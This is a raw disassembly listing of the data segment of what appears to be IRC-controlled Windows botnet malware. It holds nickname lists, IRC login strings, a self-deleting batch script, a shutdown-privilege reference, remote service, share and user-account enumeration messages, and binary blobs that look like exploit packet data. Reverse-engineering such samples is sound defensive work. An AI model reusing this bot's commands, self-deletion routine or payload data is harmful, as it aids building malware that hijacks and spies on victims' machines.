aLuvu		db 'LUVU',0             ; DATA XREF: seg002:0043AC78o
		align 4
a___0		db '_|_',0              ; DATA XREF: seg002:0043AC5Co
aBbl		db '|bbl',0             ; DATA XREF: seg002:0043AC50o
		align 10h
off_43ADB0	dd offset loc_425240+2	; DATA XREF: seg002:0043AC4Co
aMuckc		db 'muckc',0            ; DATA XREF: seg002:0043AC38o
		align 4
aTruck		db 'truck',0            ; DATA XREF: seg002:0043AC34o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: seg002:0043AC30o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: seg002:0043AC2Co
		align 4
aUi		db 'ui',0               ; DATA XREF: seg002:0043AC28o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: seg002:0043AC24o
aRt		db 'rt',0               ; DATA XREF: seg002:0043AC20o
		align 10h
aGf		db 'gf',0               ; DATA XREF: seg002:0043AC1Co
		align 4
aTy		db 'ty',0               ; DATA XREF: seg002:0043AC18o
		align 4
aRg		db 'rg',0               ; DATA XREF: seg002:0043AC14o
		align 4
aHappy		db 'happy',0            ; DATA XREF: seg002:0043AC10o
		align 4
aRs		db 'rs',0               ; DATA XREF: seg002:0043ABF0o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: seg002:0043ABA8o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: seg002:0043ABA4o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: seg002:0043ABA0o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: seg002:0043AB9Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: seg002:0043AB98o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: seg002:0043AB94o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: seg002:0043AB90o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: seg002:0043AB8Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: seg002:0043AB88o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: seg002:0043AB84o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: seg002:0043AB80o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: seg002:0043AB7Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: seg002:0043AB78o
aLag		db 'lag',0              ; DATA XREF: seg002:0043AB74o
aBad		db 'bad',0              ; DATA XREF: seg002:0043AB70o
aTree		db 'tree',0             ; DATA XREF: seg002:0043AB6Co
		align 10h
aZex		db 'zex',0              ; DATA XREF: seg002:0043AB68o
aLez		db 'lez',0              ; DATA XREF: seg002:0043AB64o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: seg002:0043AB5Co
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: seg002:0043AB58o
		align 10h
aAdamm		db 'ADAMM',0            ; DATA XREF: seg002:0043AB54o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: seg002:0043AB50o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: seg002:0043AB4Co
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: seg002:0043AB48o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: seg002:0043AB44o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: seg002:0043AB40o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: seg002:0043AB3Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: seg002:0043AB38o
aTropikal	db 'tropikal',0         ; DATA XREF: seg002:0043AB34o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: seg002:0043AB30o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: seg002:0043AB2Co
		align 4
aUla		db 'ula',0              ; DATA XREF: seg002:0043AB28o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: seg002:0043AB24o
aAkden		db 'akden',0            ; DATA XREF: seg002:0043AB20o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: seg002:0043AB1Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: seg002:0043AB18o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: seg002:0043AB14o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: seg002:0043AB10o
aM41ist		db 'M41IST',0           ; DATA XREF: seg002:0043AB0Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: seg002:0043AB08o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: seg002:0043AB04o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: seg002:0043AB00o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: seg002:0043AAFCo
		align 4
aDevre		db 'devre',0            ; DATA XREF: seg002:0043AAF8o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: seg002:0043AAF4o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: seg002:0043AAF0o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: seg002:0043AAECo
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: seg002:0043AAE8o
		align 10h
off_43AF90	dd offset byte_4B5245	; DATA XREF: seg002:0043AAE4o
aSevda		db 'sevda',0            ; DATA XREF: seg002:0043AAE0o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: seg002:0043AADCo
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: seg002:0043AAD8o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: seg002:0043AAD4o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: seg002:0043AAD0o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: seg002:0043AACCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: seg002:0043AAC8o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: seg002:0043AAC4o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: seg002:0043AAC0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: seg002:0043AABCo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: seg002:0043AAB8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: seg002:0043AAB4o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: seg002:0043AAB0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: seg002:0043AAACo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: seg002:0043AAA8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: seg002:0043AAA4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: seg002:0043AAA0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: seg002:0043AA9Co
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: seg002:0043AA98o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: seg002:0043AA94o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: seg002:0043AA90o
aHoly		db 'holy',0             ; DATA XREF: seg002:0043AA8Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: seg002:0043AA88o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: seg002:0043AA84o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: seg002:0043AA80o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: seg002:0043AA7Co
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: seg002:0043AA78o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: seg002:0043AA74o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: seg002:0043AA70o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: seg002:0043AA6Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: seg002:0043AA68o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: seg002:0043AA64o
aArda		db 'arda',0             ; DATA XREF: seg002:0043AA60o
		align 4
aDevran		db 'devran',0           ; DATA XREF: seg002:0043AA5Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: seg002:0043AA58o
aDenizlim	db 'DenizliM',0         ; DATA XREF: seg002:0043AA54o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: seg002:0043AA50o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: seg002:0043AA4Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: seg002:0043AA48o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: seg002:0043AA44o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: seg002:0043AA40o
		align 4
off_43B124	dd offset byte_457441	; DATA XREF: seg002:0043AA3Co
dword_43B128	dd 414C5941h, 2Dh	; DATA XREF: seg002:0043AA38o
aAlbina		db 'albina',0           ; DATA XREF: seg002:0043AA34o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: seg002:0043AA30o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: seg002:0043AA2Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: seg002:0043AA28o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: seg002:0043AA24o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: seg002:0043AA20o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: seg002:0043AA1Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: seg002:0043AA18o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: seg002:0043AA14o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: seg002:0043AA10o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: seg002:0043AA0Co
aAslii		db 'aslii',0            ; DATA XREF: seg002:0043AA08o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: seg002:0043AA04o
aHaticem	db 'haticem',0          ; DATA XREF: seg002:0043AA00o
aArzu		db 'ARZU',0             ; DATA XREF: seg002:0043A9FCo
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: seg002:0043A9F8o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: seg002:0043A9F4o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: seg002:0043A9F0o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: seg002:0043A9ECo
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: seg002:0043A9E8o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: seg002:0043A9E4o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: seg002:0043A9E0o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: seg002:0043A9DCo
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: seg002:0043A9D8o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: seg002:0043A9D4o
aTolga34	db 'Tolga34',0          ; DATA XREF: seg002:0043A9D0o
aMisssunday	db 'misssunday',0       ; DATA XREF: seg002:0043A9CCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: seg002:0043A9C8o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: seg002:0043A9C4o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: seg002:0043A9C0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: seg002:0043A9BCo
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: seg002:0043A9B8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: seg002:0043A9B4o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: seg002:0043A9B0o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: seg002:0043A9ACo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: seg002:0043A9A8o
aReshma		db 'reshma',0           ; DATA XREF: seg002:0043A9A4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: seg002:0043A9A0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: seg002:0043A99Co
		align 4
aImra		db 'imra',0             ; DATA XREF: seg002:0043A998o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: seg002:0043A994o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: seg002:0043A990o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:0043A98Co
		align 4
aManee		db 'manee',0            ; DATA XREF: seg002:0043A988o
		align 4
aTroller	db 'troller',0          ; DATA XREF: seg002:0043A984o
aLuisa		db 'Luisa',0            ; DATA XREF: seg002:0043A980o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: seg002:0043A97Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: seg002:0043A978o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: seg002:0043A974o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: seg002:0043A970o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: seg002:0043A96Co
		align 4
aCme		db 'cme',0              ; DATA XREF: seg002:0043A968o
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0043A964o
		align 4
aTalika		db 'talika',0           ; DATA XREF: seg002:0043A960o
		align 4
aShez		db 'Shez',0             ; DATA XREF: seg002:0043A95Co
		align 4
aKen		db 'ken',0              ; DATA XREF: seg002:0043A958o
aFlexster	db 'flexster',0         ; DATA XREF: seg002:0043A954o
		align 4
aKoko		db 'koko',0             ; DATA XREF: seg002:0043A950o
		align 4
aMale		db 'male',0             ; DATA XREF: seg002:0043A94Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: seg002:0043A948o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: seg002:0043A944o
aKrizha		db 'KRIZHA',0           ; DATA XREF: seg002:0043A940o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: seg002:0043A93Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: seg002:0043A938o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: seg002:0043A934o
aFarooq		db 'farooq',0           ; DATA XREF: seg002:0043A930o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: seg002:0043A92Co
		align 4
aM_0:					; DATA XREF: seg002:0043A928o
					; seg002:0043AC74o
		unicode	0, <M>,0
word_43B390	dw 4Eh			; DATA XREF: sub_41A044+38r
					; seg002:0043A924o
		align 4
dword_43B394	dd 42h			; DATA XREF: seg002:0043A920o
dword_43B398	dd 56h			; DATA XREF: seg002:0043A91Co
dword_43B39C	dd 43h			; DATA XREF: seg002:0043A918o
dword_43B3A0	dd 58h			; DATA XREF: seg002:0043A914o
					; seg002:0043ACA8o
dword_43B3A4	dd 5Ah			; DATA XREF: seg002:0043A910o
dword_43B3A8	dd 4Ch			; DATA XREF: seg002:0043A90Co
dword_43B3AC	dd 4Bh			; DATA XREF: seg002:0043A908o
dword_43B3B0	dd 4Ah			; DATA XREF: seg002:0043A904o
dword_43B3B4	dd 48h			; DATA XREF: seg002:0043A900o
dword_43B3B8	dd 47h			; DATA XREF: seg002:0043A8FCo
dword_43B3BC	dd 46h			; DATA XREF: seg002:0043A8F8o
					; seg002:0043AC70o
dword_43B3C0	dd 44h			; DATA XREF: seg002:0043A8F4o
dword_43B3C4	dd 53h			; DATA XREF: seg002:0043A8F0o
dword_43B3C8	dd 50h			; DATA XREF: seg002:0043A8E8o
dword_43B3CC	dd 4Fh			; DATA XREF: seg002:0043A8E4o
dword_43B3D0	dd 55h			; DATA XREF: seg002:0043A8DCo
word_43B3D4	dw 59h			; DATA XREF: sub_41A36A+38r
					; seg002:0043A8D8o
		align 4
dword_43B3D8	dd 54h			; DATA XREF: seg002:0043A8D4o
dword_43B3DC	dd 52h			; DATA XREF: seg002:0043A8D0o
dword_43B3E0	dd 45h			; DATA XREF: seg002:0043A8CCo
dword_43B3E4	dd 57h			; DATA XREF: seg002:0043A8C8o
dword_43B3E8	dd 51h			; DATA XREF: seg002:0043A8C4o
dword_43B3EC	dd 62h			; DATA XREF: seg002:0043A8B8o
					; seg002:0043ABACo ...
dword_43B3F0	dd 78h			; DATA XREF: seg002:0043A8ACo
					; seg002:0043AC04o
dword_43B3F4	dd 7Ah			; DATA XREF: seg002:0043A8A8o
					; seg002:0043AC0Co ...
dword_43B3F8	dd 6Ch			; DATA XREF: seg002:0043A8A4o
					; seg002:0043ABD8o
dword_43B3FC	dd 68h			; DATA XREF: seg002:0043A898o
					; seg002:0043ABC4o
dword_43B400	dd 67h			; DATA XREF: seg002:0043A894o
					; seg002:0043ABC0o ...
dword_43B404	dd 79h			; DATA XREF: seg002:0043A874o
					; seg002:0043AC08o
dword_43B408	dd 77h			; DATA XREF: seg002:0043A864o
					; seg002:0043AC00o
dword_43B40C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417826+C1o
dword_43B418	dd 323334h		; DATA XREF: sub_417826+86o
dword_43B41C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417826+65o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_41791B+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417B38+BCo
					; sub_417B38+174r ...
		align 8
dword_43B468	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_417F6F+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B4B4	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_417F6F+E3o
; ---------------------------------------------------------------------------


loc_43B4D0:				; DATA XREF: sub_417F6F+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43B4E4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_417F6F+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418330+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: seg000:004183FAo
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: seg000:00418493o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41851B+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41853D+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41853D+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41853D+48o
		align 10h
unk_43B5A0	db  2Dh	; -		; DATA XREF: sub_4186C5+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_43B5D0	db  2Dh	; -		; DATA XREF: sub_4186C5+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43B5F8	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4186C5+5Co
		dd 65726165h, 64h, 0
off_43B618	dd offset aAdd		; DATA XREF: sub_4188AF+6Dr
					; sub_418C96+50r ...
					; "Add"
off_43B61C	dd offset aAdded	; DATA XREF: sub_4188AF+2Dr
					; sub_418C96+82r ...
					; "Added"
dword_43B620	dd 0			; DATA XREF: sub_4188AF+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43B68Ch, 43B684h,	2, 43B678h, 43B66Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0043B64Co
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0043B648o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0043B640o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0043B63Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0043B634o
		align 4
aList_1		db 'List',0             ; DATA XREF: seg002:0043B630o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0043B628o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0043B624o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_43B61Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_43B618o
unk_43B6E0	db  2Dh	; -		; DATA XREF: sub_4188AF+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43B704	db  2Dh	; -		; DATA XREF: sub_4188AF+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43B730	db  2Dh	; -		; DATA XREF: sub_4188AF+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4189D8+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4189D8:loc_418AF0o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4189D8:loc_418AE9o
		align 8
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4189D8:loc_418AE2o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4189D8:loc_418ADBo
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4189D8:loc_418AD4o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4189D8:loc_418ACDo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4189D8:loc_418AC6o
		align 8
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4189D8:loc_418ABFo
		align 10h
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4189D8:loc_418AB8o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4189D8:loc_418AB1o
		align 10h
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4189D8:loc_418A86o
		align 10h
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4189D8:loc_418A7Fo
		db ' the service.',0
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4189D8:loc_418A78o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4189D8:loc_418A71o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4189D8+8Fo
		align 8
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4189D8:loc_418A46o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4189D8:loc_418A3Co
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4189D8:loc_418A32o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4189D8:loc_418A28o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4189D8:loc_418A1Eo
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4189D8+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418B56+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418B56:loc_418C25o
aStarting	db '   Starting',0      ; DATA XREF: sub_418B56:loc_418C1Eo
aStoping	db '    Stoping',0      ; DATA XREF: sub_418B56:loc_418C17o
aRunning	db '    Running',0      ; DATA XREF: sub_418B56:loc_418C10o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418B56:loc_418C09o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418B56:loc_418C02o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418B56:loc_418BFBo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418B56+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418B56+25o
		align 4
unk_43BC94	db  2Dh	; -		; DATA XREF: sub_418C96+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_43BCB8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418C96+89o
		dd 73252720h, 27h
unk_43BCD4	db  2Dh	; -		; DATA XREF: sub_418C96+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418E8B+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418E8B+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418E8B+B5o
unk_43BD20	db  2Dh	; -		; DATA XREF: sub_418E8B+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418E8B+26o
		align 10h
unk_43BD80	db  2Dh	; -		; DATA XREF: sub_418FAC+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_43BDA8	db  2Dh	; -		; DATA XREF: sub_418FAC+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_43BDD8	db  2Dh	; -		; DATA XREF: sub_418FAC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_43BDF8	db  2Dh	; -		; DATA XREF: sub_4190F2+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4190F2+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4190F2+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4190F2+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4190F2+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4190F2+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4190F2+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4190F2+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4190F2+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4190F2+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4190F2+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4190F2+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4190F2+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4190F2+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4190F2+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4190F2+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4190F2:loc_41920Bo
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4190F2:loc_419204o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4190F2:loc_4191FDo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4190F2+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4190F2+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4190F2+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4190F2+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4194C0+145o
		align 4
unk_43BFB4	db  2Dh	; -		; DATA XREF: sub_4194C0:loc_4195ADo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_4194C0+BAo
		align 4
unk_43BFE8	db  2Dh	; -		; DATA XREF: sub_4194C0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
